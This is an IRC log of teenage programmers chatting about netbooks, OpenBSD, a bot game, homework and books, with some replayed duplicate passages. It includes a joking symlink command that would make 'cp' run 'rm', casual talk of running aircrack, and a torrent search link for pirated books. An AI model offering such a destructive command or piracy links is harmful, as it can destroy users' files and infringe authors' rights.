[2015-01-06T22:20:46-0500] <Tamini> <3
[2015-01-06T22:21:23-0500] <jwoglom> fancy
[2015-01-06T22:21:43-0500] <Tamini> dat nib doe
[2015-01-06T22:23:30-0500] <@awe> Mont Blanc is classy as fuck.
[2015-01-06T22:23:35-0500] <@awe> I want a nicer one though.
[2015-01-06T22:23:53-0500] <Tamini> so money tho
[2015-01-06T22:24:09-0500] <Tamini> we were actually talking about montblanc in english today
[2015-01-06T22:33:26-0500] <@awe> Wow, my IRC client detects reddit references.
[2015-01-06T22:33:31-0500] <@awe> If you write like /r/Rust, it actually links to Rust.
[2015-01-06T22:33:34-0500] <@awe> on Reddit.
[2015-01-06T22:33:36-0500] <@awe> Automatically.
[2015-01-06T22:33:43-0500] <@awe>  /u/aaronweiss74
[2015-01-06T22:33:48-0500] <@awe> That doesn't work though.
[2015-01-06T22:36:25-0500] <alokpathy> awe: It's already really late for them .-.
[2015-01-06T22:36:32-0500] <alokpathy> awe: They were supposed to do it before break.
[2015-01-06T22:36:38-0500] <alokpathy> awe: but the photographers got confused.
[2015-01-06T22:39:24-0500] <@awe> alokpathy: it's fine, nbd.
[2015-01-06T22:39:52-0500] <alokpathy> awe: We'll PS you in.
[2015-01-06T22:39:57-0500] <@awe> +1
[2015-01-06T22:43:45-0500] <Tamini> lol
[2015-01-06T22:43:53-0500] <Tamini> it has to be a really crappy ps job too
[2015-01-06T22:48:44-0500] <alokpathy> Oh I've already done that for a similar situation.
[2015-01-06T22:49:20-0500] <alokpathy> So one kid couldn't make it to the physics club photo.
[2015-01-06T22:49:25-0500] <alokpathy> Original photo: https://scontent-b-ord.xx.fbcdn.net/hphotos-xpf1/t31.0-8/1795401_572984602794279_1638769591_o.jpg
[2015-01-06T22:49:42-0500] <alokpathy> Photo after a 10min. MS Paint job: https://scontent-a-ord.xx.fbcdn.net/hphotos-xfa1/v/t1.0-9/1779768_729954573689450_1300936844_n.jpg?oh=bd405c0608a2d55980d85891ca19bcb0&oe=55330ED9
[2015-01-06T22:52:01-0500] <@awe> Lol, John.
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[2015-01-06T22:52:57-0500] Topic is Pidgey is on GitHub: http://git.io/caK7Kg | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-01-06T22:52:57-0500] Set by Pidgey on December 30, 2014 at 1:25:17 PM EST
[2015-01-06T22:39:57-0500] <@awe> +1
[2015-01-06T22:43:45-0500] <Tamini> lol
[2015-01-06T22:43:53-0500] <Tamini> it has to be a really crappy ps job too
[2015-01-06T22:48:44-0500] <alokpathy> Oh I've already done that for a similar situation.
[2015-01-06T22:49:20-0500] <alokpathy> So one kid couldn't make it to the physics club photo.
[2015-01-06T22:49:25-0500] <alokpathy> Original photo: https://scontent-b-ord.xx.fbcdn.net/hphotos-xpf1/t31.0-8/1795401_572984602794279_1638769591_o.jpg
[2015-01-06T22:49:42-0500] <alokpathy> Photo after a 10min. MS Paint job: https://scontent-a-ord.xx.fbcdn.net/hphotos-xfa1/v/t1.0-9/1779768_729954573689450_1300936844_n.jpg?oh=bd405c0608a2d55980d85891ca19bcb0&oe=55330ED9
[2015-01-06T22:52:57-0500] Mode is +ns
[2015-01-06T22:53:08-0500] <@awe> Did my message send?
[2015-01-06T22:53:10-0500] <@awe> Ithink not.
[2015-01-06T22:53:12-0500] <@awe> I said lol john.
[2015-01-06T22:55:16-0500] <Tamini> lolol
[2015-01-06T22:59:00-0500] <@awe> So, I booted OpenBSD
[2015-01-06T22:59:05-0500] <@awe> but can't do anything
[2015-01-06T22:59:14-0500] <@awe> doesn't take my keyboard input.
[2015-01-06T23:01:35-0500] <@awe> And Asus appears to have completely discontinued the Eee PC line.
[2015-01-06T23:02:12-0500] <Pharyngeal> ooh nibs!
[2015-01-06T23:02:29-0500] <jwoglom> eh, netbooks and the like are basically dead now
[2015-01-06T23:02:32-0500] <Pharyngeal> awe: I did that wiki [[WikiLinks]]
[2015-01-06T23:02:34-0500] <jwoglom> no reason to continue the Eee branding
[2015-01-06T23:02:38-0500] <+hardmath123> my pen-handwriting used to be awful. lemme dig up a sample
[2015-01-06T23:02:42-0500] <Pharyngeal> with*
[2015-01-06T23:02:49-0500] <@awe> Pharyngeal: ?
[2015-01-06T23:02:59-0500] <@awe> jwoglom: Well, I own one lol
[2015-01-06T23:03:03-0500] <Pharyngeal> awe: The /r/Rust type thing with links, I did that with WikiLinks
[2015-01-06T23:03:05-0500] <jwoglom> i do too
[2015-01-06T23:03:09-0500] <@awe> Pharyngeal: Ah.
[2015-01-06T23:03:09-0500] <jwoglom> a 1005HA from 2009ish
[2015-01-06T23:03:13-0500] <@awe> I don't know what model mine is.
[2015-01-06T23:03:18-0500] <jwoglom> used it from 09-12
[2015-01-06T23:03:20-0500] <@awe> I was trying to find out.
[2015-01-06T23:03:26-0500] <@awe> I used mine for a few months.
[2015-01-06T23:03:29-0500] <Pharyngeal> I hvae a 1005HA and some other one
[2015-01-06T23:03:30-0500] <@awe> in 2013.
[2015-01-06T23:03:39-0500] <@awe> Brought it to school every day with Arch
[2015-01-06T23:03:45-0500] <Pharyngeal> One of them has a broken screen, the other I brought to school from 10th to 12th grade.
[2015-01-06T23:03:45-0500] <@awe> Every time I did anything, people thought I was hacking.
[2015-01-06T23:03:50-0500] <jwoglom> lol
[2015-01-06T23:03:53-0500] <@awe> 2012, not 2013.
[2015-01-06T23:03:54-0500] <Pharyngeal> ^^
[2015-01-06T23:03:54-0500] <Pharyngeal> That
[2015-01-06T23:04:01-0500] <jwoglom> netbooks were so cool back in the day
[2015-01-06T23:04:02-0500] <Pharyngeal> Although, they weren't always wrong.
[2015-01-06T23:04:04-0500] <@awe> "DUDE, ARE YOU HAKCING?"
[2015-01-06T23:04:12-0500] <@awe> *stares at Facebook in luakit*
[2015-01-06T23:04:15-0500] <@awe> "Yes."
[2015-01-06T23:04:40-0500] <Pharyngeal> "Can you hack the mainframe" --> "No comment ;)"
[2015-01-06T23:05:44-0500] <@awe> Or like...
[2015-01-06T23:05:51-0500] <@awe> >doing menial file management stuff in the command line
[2015-01-06T23:06:00-0500] <@awe> >reorganizing home directory
[2015-01-06T23:06:05-0500] <@awe> >guy comes over
[2015-01-06T23:06:07-0500] <@awe> >"ARE YOU HACKING?"
[2015-01-06T23:06:14-0500] <jwoglom> lol, luakit
[2015-01-06T23:06:34-0500] <@awe> >mv *.hs haskell
[2015-01-06T23:06:36-0500] <@awe> >"yes"
[2015-01-06T23:06:43-0500] <jwoglom> one could argue that just using that makes you a hacker :P
[2015-01-06T23:06:43-0500] <Pharyngeal> I mean, I occasionally had Wireshark and aircrack open
[2015-01-06T23:06:44-0500] <Pharyngeal> So
[2015-01-06T23:06:50-0500] <@awe> Oh gosh.
[2015-01-06T23:06:57-0500] <@awe> When we went to PClassic the first time
[2015-01-06T23:07:00-0500] <@awe> I brought my netbook
[2015-01-06T23:07:01-0500] <@awe> with aircrack
[2015-01-06T23:07:06-0500] <@awe> and was showing it to JacobEdelman
[2015-01-06T23:07:22-0500] <Pharyngeal> Heh. Find anything interesting on AirPennNet?
[2015-01-06T23:08:36-0500] <@awe> Nope.
[2015-01-06T23:09:15-0500] <+hardmath123> wait a minute, my handwriting wasn't that bad O_o
[2015-01-06T23:09:22-0500] <+hardmath123> I've been lied to all through middle school.
[2015-01-06T23:09:26-0500] <+hardmath123> What the heck?!
[2015-01-06T23:11:11-0500] <Tamini> lolol
[2015-01-06T23:13:24-0500] <+hardmath123> http://imgur.com/YtwJfam
[2015-01-06T23:13:29-0500] <+hardmath123> That is perfectly legible.
[2015-01-06T23:13:56-0500] <Tamini> oh alokpathy: i figured something out
[2015-01-06T23:14:02-0500] <alokpathy> ???
[2015-01-06T23:14:10-0500] <Tamini> also 2 hour delay = i play alchemy instead of doing hw rip
[2015-01-06T23:14:44-0500] <Tamini> wait
[2015-01-06T23:14:50-0500] <Tamini> hardmath123: can we make exploit from what we have
[2015-01-06T23:15:46-0500] <Pharyngeal> awe: Can I invite a friend?
[2015-01-06T23:15:51-0500] <@awe> Here?
[2015-01-06T23:15:52-0500] <@awe> Absolutely.
[2015-01-06T23:16:04-0500] <Pharyngeal> Awesome
[2015-01-06T23:16:15-0500] <@awe> You can invite anyone here.
[2015-01-06T23:16:18-0500] <@awe> You can do anything here.
[2015-01-06T23:16:23-0500] <@awe> Except probably not link CP.
[2015-01-06T23:16:31-0500] <@awe> Will be pissed about CP.
[2015-01-06T23:16:39-0500] <Pharyngeal> Well, I wasn't planing on it. 
[2015-01-06T23:16:53-0500] <bob_twinkles> damnit now I'll have to use rsync for everything =(
[2015-01-06T23:17:00-0500] <+hardmath123> Tamini: no, you guys haven't made stuff (that you need to make to make the stuff)*4 that you need need to make exploit :P
[2015-01-06T23:17:05-0500] <Tamini> whoaa
[2015-01-06T23:17:10-0500] <Pharyngeal> ln -s /usr/bin/cp /usr/sbin/cp
[2015-01-06T23:17:12-0500] <Pharyngeal> I linked CP
[2015-01-06T23:17:13-0500] <Tamini> i just found stallman is a thing
[2015-01-06T23:17:16-0500] • hardmath123: might be off by one.
[2015-01-06T23:17:37-0500] <@awe> ./ban Pharyngeal
[2015-01-06T23:17:38-0500] <bob_twinkles> Tamini: RMS?
[2015-01-06T23:17:41-0500] <Pharyngeal> Heh
[2015-01-06T23:17:50-0500] <@awe> Nah, I kid. You can link THAT cp.
[2015-01-06T23:18:04-0500] <@awe> Better yet:
[2015-01-06T23:18:06-0500] <Tamini> bob_twinkles, in alchemy lol
[2015-01-06T23:18:10-0500] <@awe> ln -s /usr/bin/rm /usr/sbin/cp
[2015-01-06T23:18:12-0500] <@awe> :D
[2015-01-06T23:18:14-0500] <bob_twinkles> oh lol
[2015-01-06T23:18:29-0500] <@awe> wait, the other way would be more fun.
[2015-01-06T23:18:41-0500] <Pharyngeal> I always forget the order of ln arguments
[2015-01-06T23:18:48-0500] <@awe> Me too.
[2015-01-06T23:18:51-0500] <@awe> I only know because I did it today.
[2015-01-06T23:18:57-0500] <+hardmath123> it's not just me? wow.
[2015-01-06T23:19:08-0500] <@awe> the first one is the source.
[2015-01-06T23:19:33-0500] <+hardmath123> I AM SO MAD WHY WAS I ALWAYS INSULTED FOR SUCH PERFECT PENMANSHIP http://imgur.com/DKWiwYe
[2015-01-06T23:19:37-0500] <+hardmath123> GRRR.
[2015-01-06T23:19:58-0500] <bob_twinkles> out of the... ~14 people I know who use linux on a regular basis, only 3 claim to actually remember the order of arguments to ln
[2015-01-06T23:20:05-0500] <Tamini> wait, whoa
[2015-01-06T23:20:07-0500] <Tamini> we can make fermat
[2015-01-06T23:20:35-0500] <Tamini> do i need to share
[2015-01-06T23:20:41-0500] <Tamini> an obligatory writing sample
[2015-01-06T23:20:58-0500] <+hardmath123> Tamini: only if it's worse than mine.
[2015-01-06T23:21:03-0500] <Tamini> its not too awful
[2015-01-06T23:21:09-0500] <Tamini> but this is with my chalana
[2015-01-06T23:21:28-0500] <+hardmath123> go for it
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[2015-01-06T23:22:10-0500] <Tamini_> https://i.imgur.com/gVVae8J.jpg
[2015-01-06T23:22:36-0500] <bob_twinkles> arg
[2015-01-06T23:22:43-0500] <bob_twinkles> how do substitutions work with trig
[2015-01-06T23:22:45-0500] <@awe> Doing a net install of OpenBSD is hard.
[2015-01-06T23:22:51-0500] <bob_twinkles> I can't integrate from 1 to 1 T_T
[2015-01-06T23:23:21-0500] <bob_twinkles> or well... I could
[2015-01-06T23:23:26-0500] <bob_twinkles> it's just boring and incorrect
[2015-01-06T23:24:16-0500] <Tamini> wait wait wait
[2015-01-06T23:24:30-0500] <Tamini> hardmath123: is there more than one way to make recursion
[2015-01-06T23:24:33-0500] <Tamini> or are you being a troll
[2015-01-06T23:24:39-0500] <Tamini> bob_twinkles: you should leran that
[2015-01-06T23:24:50-0500] <Tamini> the hwq takes really frekaing long
[2015-01-06T23:25:01-0500] <bob_twinkles> yeah I know
[2015-01-06T23:25:03-0500] <+hardmath123> Tamini: I'm being a troll.
[2015-01-06T23:25:09-0500] <bob_twinkles> I've done... 2 problems in the lasta 5 hours
[2015-01-06T23:25:12-0500] <Tamini> hardmath123: give us recursion :(
[2015-01-06T23:25:13-0500] <bob_twinkles> not a good look
[2015-01-06T23:25:36-0500] <+hardmath123> Tamini: @refresh
[2015-01-06T23:25:46-0500] <+hardmath123> :)
[2015-01-06T23:26:08-0500] <bob_twinkles> ...
[2015-01-06T23:26:12-0500] <bob_twinkles> I'm a dumbass
[2015-01-06T23:26:15-0500] <bob_twinkles> it _is_ 0
[2015-01-06T23:27:00-0500] <bob_twinkles> where is alchemy anyway?
[2015-01-06T23:27:03-0500] <Tamini> wait still
[2015-01-06T23:27:06-0500] <Tamini> recursion with recursion
[2015-01-06T23:27:09-0500] <Tamini> bob_twinkles: in #study
[2015-01-06T23:27:11-0500] <Tamini> it was supposed to motivate me
[2015-01-06T23:27:14-0500] <Tamini> it didnt do much
[2015-01-06T23:28:18-0500] <Tamini> also
[2015-01-06T23:28:35-0500] <Tamini> hardmath123: hint --new?
[2015-01-06T23:28:38-0500] <Tamini> :(
[2015-01-06T23:30:39-0500] <+hardmath123> Tamini: there's another way now
[2015-01-06T23:31:07-0500] <+hardmath123> Tamini: also I love how the 300 hints per hour still isn't helping :P
[2015-01-06T23:31:24-0500] <Tamini> its because the hints arent new
[2015-01-06T23:31:29-0500] <Tamini> we have most of the elements already
[2015-01-06T23:31:37-0500] <+hardmath123> bob_twinkles: alchemy, for some reason, now lives in #study, from where Study_Bot was kicked.
[2015-01-06T23:31:59-0500] <@awe> OpenBSD is now installed in a VM.
[2015-01-06T23:32:02-0500] <bob_twinkles> ... ic
[2015-01-06T23:32:07-0500] <bob_twinkles> wouldn't it make sense for it to be in like
[2015-01-06T23:32:09-0500] <bob_twinkles> #alchemy
[2015-01-06T23:32:12-0500] <bob_twinkles> or something
[2015-01-06T23:32:18-0500] <Tamini> but the whole point was
[2015-01-06T23:32:21-0500] <Tamini> i couldnt play alchemy instead of studying
[2015-01-06T23:32:22-0500] <Tamini> :P
[2015-01-06T23:32:27-0500] <bob_twinkles> -_-
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[2015-01-06T23:39:25-0500] <Tamini> hey hey hey
[2015-01-06T23:39:26-0500] <Tamini> hardmath123, 
[2015-01-06T23:39:34-0500] <Tamini> bob_twinkles found recursion
[2015-01-06T23:47:09-0500] <+hardmath123> yay
[2015-01-06T23:47:24-0500] <+hardmath123> Tamini: is @hint working better?
[2015-01-06T23:47:46-0500] <Tamini> yes
[2015-01-06T23:48:16-0500] <+hardmath123> yay
[2015-01-06T23:48:19-0500] <+hardmath123> one-line patch
[2015-01-06T23:54:46-0500] <Tamini> hardmath123: come to #study
[2015-01-06T23:57:15-0500] <alokpathy> hardmath123: WE BEAT IT
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[2015-01-07T00:12:50-0500] <+hardmath123> i /join #study
[2015-01-07T00:23:21-0500] <+hardmath123> ok
[2015-01-07T00:23:26-0500] <+hardmath123> this was a long and mildly unpleasant day
[2015-01-07T00:23:35-0500] <+hardmath123> i'm going to end it asap
[2015-01-07T00:23:37-0500] <+hardmath123> good night
[2015-01-07T00:24:49-0500] <@awe> good night, hardmath123 
[2015-01-07T00:24:53-0500] <@awe> I'm sorry your day was unpleasant.
[2015-01-07T00:28:25-0500] <Tamini> aw
[2015-01-07T00:28:27-0500] <Tamini> gnight :(
[2015-01-07T00:52:49-0500] <nezorg> pendleton ward + oculus rift = happy: https://vine.co/v/OdrQw10Q0HK
[2015-01-07T00:53:12-0500] <nezorg> at least I think that's happy
[2015-01-07T01:12:47-0500] <Tamini> whoa
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[2015-01-07T12:47:32-0500] <nezorg> this is a very practical article http://calmerthanyouare.org/2015/01/07/optimizing-brainfuck.html
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[2015-01-07T13:50:22-0500] <The_Master> @list
[2015-01-07T13:51:01-0500] <The_Master> First awebot left, now alchemy to.
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[2015-01-07T15:51:29-0500] <@awe> I could run awebot from my VPS, I guess.
[2015-01-07T15:51:44-0500] <@awe> just like mailbot
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[2015-01-07T17:30:03-0500] <The_Master> awe: starbound?
[2015-01-07T17:30:09-0500] <@awe> Sure.
[2015-01-07T17:30:24-0500] <The_Master> gchat
[2015-01-07T17:30:42-0500] <The_Master> ?
[2015-01-07T17:31:49-0500] <@awe> yah
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[2015-01-07T17:35:08-0500] <+JacobEdelman> the master and awe are video chatting
[2015-01-07T17:35:12-0500] <@awe> N/
[2015-01-07T17:35:15-0500] <@awe> Voice chatting.
[2015-01-07T17:35:30-0500] <+JacobEdelman> close enough
[2015-01-07T18:26:25-0500] <@awe> 64-bit linux version of Starbound will be here whenever it finishes
[2015-01-07T18:26:25-0500] <@awe> https://dl.dropboxusercontent.com/u/8097711/STARBOUND.zip
[2015-01-07T18:26:34-0500] <@awe> Going to go eat now.
[2015-01-07T18:56:08-0500] <ubuntor> sweet
[2015-01-07T19:07:15-0500] <+hardmath123> I wrote our school's TEDx website. I put in a couple of subtle links to my blog, and the SEO results have been awesome. :D
[2015-01-07T19:08:42-0500] <alokpathy> lolololol
[2015-01-07T19:08:45-0500] <alokpathy> Nice XD
[2015-01-07T19:19:00-0500] <Tamini> lol
[2015-01-07T19:45:03-0500] <@awe> Starbound is definitely done by now.
[2015-01-07T19:45:20-0500] <@awe> hardmath123: lol, I need to do that.
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[2015-01-07T19:54:12-0500] Set by Pidgey on December 30, 2014 at 1:25:17 PM EST
[2015-01-07T19:45:20-0500] <@awe> hardmath123: lol, I need to do that.
[2015-01-07T19:54:13-0500] Mode is +ns
[2015-01-07T19:54:40-0500] <alokpathy> awe: Didn't you try doing that for the school site?
[2015-01-07T19:55:06-0500] <@awe> Well, I did.
[2015-01-07T19:55:16-0500] <@awe> But they removed it.
[2015-01-07T19:55:17-0500] <@awe> >.>
[2015-01-07T19:55:32-0500] <alokpathy> Yeah :|
[2015-01-07T19:55:47-0500] <alokpathy> Shoulda been more subtle.
[2015-01-07T19:56:05-0500] <@awe> I mean, it wasn't for SEO.
[2015-01-07T19:56:08-0500] <@awe> It was so people could find me.
[2015-01-07T19:57:06-0500] <alokpathy> Oh okay.
[2015-01-07T20:09:06-0500] <@awe> http://www.telegraph.co.uk/news/science/science-news/11327571/Leap-second-French-time-lords-add-one-second-to-2015.html
[2015-01-07T20:11:46-0500] <alokpathy> I did not know this was a thing.
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[2015-01-07T21:06:19-0500] Set by Pidgey on December 30, 2014 at 1:25:17 PM EST
[2015-01-07T20:09:04-0500] <@awe> http://www.telegraph.co.uk/news/science/science-news/11327571/Leap-second-French-time-lords-add-one-second-to-2015.html
[2015-01-07T20:11:44-0500] <alokpathy> I did not know this was a thing.
[2015-01-07T20:24:11-0500] <+hardmath123> I was excited to read the phrase "French time lord"
[2015-01-07T20:24:15-0500] <+hardmath123> then slightly disappointed
[2015-01-07T20:24:47-0500] <Tamini> lol
[2015-01-07T20:25:32-0500] <alokpathy> ^^
[2015-01-07T20:30:46-0500] <Tamini> dude multi is
[2015-01-07T20:30:48-0500] <Tamini> so annoying why
[2015-01-07T20:31:26-0500] <alokpathy> The content or class?
[2015-01-07T20:31:44-0500] <Tamini> i have
[2015-01-07T20:31:48-0500] <Tamini> 20 problems to do by tomorrow
[2015-01-07T20:31:49-0500] <Tamini> :P
[2015-01-07T20:34:16-0500] <+JacobEdelman> awe:  server info?
[2015-01-07T20:37:42-0500] <The_Master> awe: starbound, jacob is on.
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[2015-01-07T21:34:03-0500] Set by Pidgey on December 30, 2014 at 1:25:17 PM EST
[2015-01-07T20:09:04-0500] <@awe> http://www.telegraph.co.uk/news/science/science-news/11327571/Leap-second-French-time-lords-add-one-second-to-2015.html
[2015-01-07T20:11:44-0500] <alokpathy> I did not know this was a thing.
[2015-01-07T20:24:11-0500] <+hardmath123> I was excited to read the phrase "French time lord"
[2015-01-07T20:24:15-0500] <+hardmath123> then slightly disappointed
[2015-01-07T20:24:47-0500] <Tamini> lol
[2015-01-07T20:25:32-0500] <alokpathy> ^^
[2015-01-07T20:30:46-0500] <Tamini> dude multi is
[2015-01-07T20:30:48-0500] <Tamini> so annoying why
[2015-01-07T20:31:26-0500] <alokpathy> The content or class?
[2015-01-07T20:31:44-0500] <Tamini> i have
[2015-01-07T20:31:48-0500] <Tamini> 20 problems to do by tomorrow
[2015-01-07T20:31:49-0500] <Tamini> :P
[2015-01-07T20:34:16-0500] <+JacobEdelman> awe:  server info?
[2015-01-07T20:37:42-0500] <The_Master> awe: starbound, jacob is on.
[2015-01-07T21:34:03-0500] Mode is +ns
[2015-01-07T21:34:18-0500] <@awe> The_Master: o ok
[2015-01-07T21:37:31-0500] <@awe> JacobEdelman: ?
[2015-01-07T22:06:27-0500] <Tamini> yp
[2015-01-07T22:06:29-0500] <Tamini> yo*
[2015-01-07T22:06:32-0500] <Tamini> bob_twinkles1
[2015-01-07T22:06:34-0500] <Tamini> are you alive
[2015-01-07T22:06:37-0500] <bob_twinkles1> yes
[2015-01-07T22:06:40-0500] <bob_twinkles1> hi
[2015-01-07T22:06:41-0500] <Tamini> how much of
[2015-01-07T22:06:43-0500] <Tamini> ftc did you do
[2015-01-07T22:06:45-0500] <bob_twinkles1> 0
[2015-01-07T22:06:52-0500] <Tamini> you might be screwed you should start
[2015-01-07T22:06:56-0500] <Tamini> it took me like four hours
[2015-01-07T22:06:57-0500] <Tamini> ._.
[2015-01-07T22:07:29-0500] <bob_twinkles1> I'm not really planning on turning it on on friday
[2015-01-07T22:07:35-0500] <bob_twinkles1> there's no way I can finish it
[2015-01-07T22:07:36-0500] <Tamini> lol
[2015-01-07T22:07:40-0500] <Tamini> yeah i was thinking of
[2015-01-07T22:07:43-0500] <Tamini> pulling an all-nighter tonight
[2015-01-07T22:07:48-0500] <Tamini> at least until 4am
[2015-01-07T22:07:51-0500] <Tamini> so i can sleep like 5 hours
[2015-01-07T22:10:12-0500] <@awe> you guys are intense
[2015-01-07T22:11:00-0500] <alokpathy> FTC?
[2015-01-07T22:12:24-0500] <Tamini> 12 problems just took me
[2015-01-07T22:12:29-0500] <Tamini> around 4.5 hours
[2015-01-07T22:12:39-0500] <Tamini> i have the same amount of problems to go
[2015-01-07T22:12:40-0500] <Tamini> ._.
[2015-01-07T22:12:58-0500] <Tamini> actually jk same # of pages more dense
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[2015-01-07T22:49:55-0500] <+LittleBobbyTables> I need a decent version of Skype.
[2015-01-07T22:52:00-0500] <@awe> LittleBobbyTables: Doesn't everyone?
[2015-01-07T22:52:06-0500] <@awe> LittleBobbyTables: I wish Tox was uable.
[2015-01-07T22:52:07-0500] <@awe> usable*
[2015-01-07T22:52:56-0500] <+LittleBobbyTables> Mine is outdated enough it won't let me log in.
[2015-01-07T22:54:19-0500] <@awe> Oh, dang.
[2015-01-07T22:54:33-0500] <@awe> The OS X one logs in, but it hasn't been updated in several years.
[2015-01-07T22:54:41-0500] <@awe> At least, not significantly.
[2015-01-07T22:54:51-0500] <@awe> The Windows one has had three redesigns already.
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[2015-01-08T00:21:30-0500] <ubuntor> hm, i have no idea what some of these files in my home dir are
[2015-01-08T00:22:55-0500] <ubuntor> txt.txt is a binary file...
[2015-01-08T00:24:38-0500] <+LittleBobbyTables> Run it
[2015-01-08T00:28:26-0500] <alokpathy> lolol
[2015-01-08T00:29:07-0500] <ubuntor> ./txt.txt: line 1: syntax error near unexpected token `$'\026\260H\016\306\272\355\037\a\376\206\343\030\300\212\331\356t\r\2229h@\320-\327\016\252\306v\262\223\3146\003?\314\273\315\252\350\f\257t\274\324\326\322\272\364\351''
[2015-01-08T00:29:21-0500] <ubuntor> i am confus
[2015-01-08T00:31:32-0500] <@awe> LittleBobbyTables: lol
[2015-01-08T00:31:36-0500] <@awe> "I found a random binary."
[2015-01-08T00:31:39-0500] <@awe> "Run it!"
[2015-01-08T00:32:41-0500] <nezorg> more hilariously, ubuntor actually did so
[2015-01-08T00:33:01-0500] <nezorg> then again I'm not exactly known for my great opsec...
[2015-01-08T00:33:31-0500] <ubuntor> eh, file didn't say it was an executable
[2015-01-08T00:39:22-0500] <+LittleBobbyTables> wtf is that lol
[2015-01-08T01:31:56-0500] <ubuntor> nezorg: seen this? http://thisissecurity.net/2015/01/03/playing-with-signals-an-overview-on-sigreturn-oriented-programming/
[2015-01-08T01:34:57-0500] <nezorg> ubuntor: doesn't seem as nice as rop :(
[2015-01-08T01:35:05-0500] <nezorg> though potentially useful for sure
[2015-01-08T01:35:14-0500] <ubuntor> yeah
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[2015-01-08T09:50:41-0500] <The_Master> Part 1 of regex parser done!
[2015-01-08T10:19:28-0500] <+hardmath123> ubuntor: one of the references is an ACM paper called "The geometry of innocent flesh on the bone"
[2015-01-08T11:01:00-0500] <+JacobEdelman> hardmath123: one of the references for what?
[2015-01-08T11:01:06-0500] <+JacobEdelman> The_Master: how many parts are there to go?
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[2015-01-08T11:46:45-0500] <The_Master> JacobEdelman: 2 for a start
[2015-01-08T11:49:56-0500] <The_Master> JacobEdelman: never mind, there are still pretty bad bugs.
[2015-01-08T15:00:55-0500] <ubuntor> hardmath123: wat
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[2015-01-08T16:02:51-0500] <ubuntor> antimazes are fun
[2015-01-08T16:06:36-0500] <The_Master> awe:starbound?
[2015-01-08T16:09:30-0500] <@awe> Sure.
[2015-01-08T16:11:28-0500] <@awe> My game keeps crashing...
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[2015-01-08T18:35:31-0500] <+JacobEdelman> I have rearrived
[2015-01-08T18:37:13-0500] <alokpathy> Salutations.
[2015-01-08T18:38:31-0500] <Tamini> hello friend
[2015-01-08T18:38:37-0500] <Tamini> i'm on hour 12 of multi
[2015-01-08T18:38:40-0500] <Tamini> in the past 2 days
[2015-01-08T18:38:43-0500] <Tamini> i hate myself
[2015-01-08T18:40:43-0500] <alokpathy> I'm on hour 1/3 of the day
[2015-01-08T18:40:45-0500] <alokpathy> and I'm done.
[2015-01-08T18:40:46-0500] <alokpathy> heh
[2015-01-08T18:41:11-0500] <alokpathy> We didn't get much homework at all today.
[2015-01-08T18:42:13-0500] <Tamini> lucky
[2015-01-08T18:42:17-0500] <Tamini> i put off stuff all through winter break
[2015-01-08T18:42:21-0500] <Tamini> im paying for it dearly
[2015-01-08T18:43:04-0500] <alokpathy> Oh LOL
[2015-01-08T18:43:19-0500] <alokpathy> I thought your teacher decided to be mean and give 12 hours of work for 2 days
[2015-01-08T18:43:44-0500] <+hardmath123> my book finally arrived at the library
[2015-01-08T18:43:51-0500] <+hardmath123> :D
[2015-01-08T18:43:56-0500] <alokpathy> :O Which one?
[2015-01-08T18:44:07-0500] <+hardmath123> _The Moon's a Harsh Mistress_
[2015-01-08T18:47:31-0500] <+hardmath123> I loved Stranger in a Strange Land
[2015-01-08T18:47:39-0500] <+hardmath123> so I thought another Heinlein book would be nice
[2015-01-08T18:47:45-0500] <Tamini> oh yay
[2015-01-08T18:47:45-0500] <Tamini> <3
[2015-01-08T18:48:18-0500] <+hardmath123> (I started a lame spy book, "The Heist" (Daniel Silva), over winter break and couldn't bear to finish past the third chapter.)
[2015-01-08T18:48:28-0500] <alokpathy> Oh nice
[2015-01-08T18:48:29-0500] <+hardmath123> (Why do people like junk like that?)
[2015-01-08T18:49:43-0500] <Tamini> i mean 
[2015-01-08T18:49:50-0500] <Tamini> if its entertaining junk is alright
[2015-01-08T18:49:55-0500] <Tamini> in that it's not stressful to read
[2015-01-08T18:49:56-0500] <Tamini> :P
[2015-01-08T18:51:10-0500] <+hardmath123> but that's what Reddit is for
[2015-01-08T18:51:40-0500] <+JacobEdelman> scifi goo
[2015-01-08T18:51:44-0500] <+JacobEdelman> *good
[2015-01-08T18:51:53-0500] <+JacobEdelman> but I'm not entirely opposed to reading trash
[2015-01-08T18:52:03-0500] <Tamini> lol
[2015-01-08T18:52:09-0500] <Tamini> my plan for the night
[2015-01-08T18:52:17-0500] <+JacobEdelman> gtg
[2015-01-08T18:52:31-0500] <Tamini> was going to be to curl up in a corner and read cody doctorow
[2015-01-08T18:52:34-0500] <Tamini> but nooo multi
[2015-01-08T18:52:47-0500] <alokpathy> Do both :D
[2015-01-08T18:53:37-0500] <+hardmath123> I haven't actually read any Cory Doctorow.
[2015-01-08T18:53:44-0500] <+hardmath123> I've just read *about* him on xkcd.
[2015-01-08T18:53:45-0500] <+hardmath123> :P
[2015-01-08T18:53:50-0500] <Tamini> lol
[2015-01-08T18:53:55-0500] <Tamini> oh jacob
[2015-01-08T18:53:59-0500] <Tamini> is gone
[2015-01-08T18:54:00-0500] <Tamini> >->
[2015-01-08T18:54:08-0500] <Tamini> i was going to ask him to find me ebook links for his books
[2015-01-08T18:54:14-0500] <Tamini> because I only have little brother on kindle
[2015-01-08T18:54:40-0500] <jwoglom> https://kickass.so/usearch/doctorow%20category:books/? :P
[2015-01-08T19:01:42-0500] <+hardmath123> > distributes book as .txt
[2015-01-08T19:01:48-0500] <+hardmath123> > doesn't wrap at 80 columns
[2015-01-08T19:01:49-0500] <+hardmath123> :(
[2015-01-08T19:02:17-0500] <Tamini> lol
[2015-01-08T19:03:28-0500] <+hardmath123> though the joy of unix streaming pipes
[2015-01-08T19:03:42-0500] <+hardmath123> is that I can run it through a formatter without any serious lag
[2015-01-08T19:04:52-0500] <+hardmath123> curl http://craphound.com/littlebrother/Cory_Doctorow_-_Little_Brother.txt | fold -w 80 -s | less
[2015-01-08T19:18:48-0500] <nezorg> hardmath123 has best ebook reader
[2015-01-08T19:19:46-0500] <Tamini> lol
[2015-01-08T19:19:56-0500] <Tamini> i think i won a kindle
[2015-01-08T19:19:59-0500] <Tamini> from one thing or another
[2015-01-08T19:20:01-0500] <Tamini> so yay books
[2015-01-08T19:20:16-0500] <nezorg> but kindles aren't free
[2015-01-08T19:20:19-0500] <nezorg> as in freedom
[2015-01-08T19:20:28-0500] <nezorg> rms would not be proud
[2015-01-08T19:20:36-0500] <jwoglom> something something stallman rant
[2015-01-08T19:21:38-0500] <nezorg> something something vim sucks
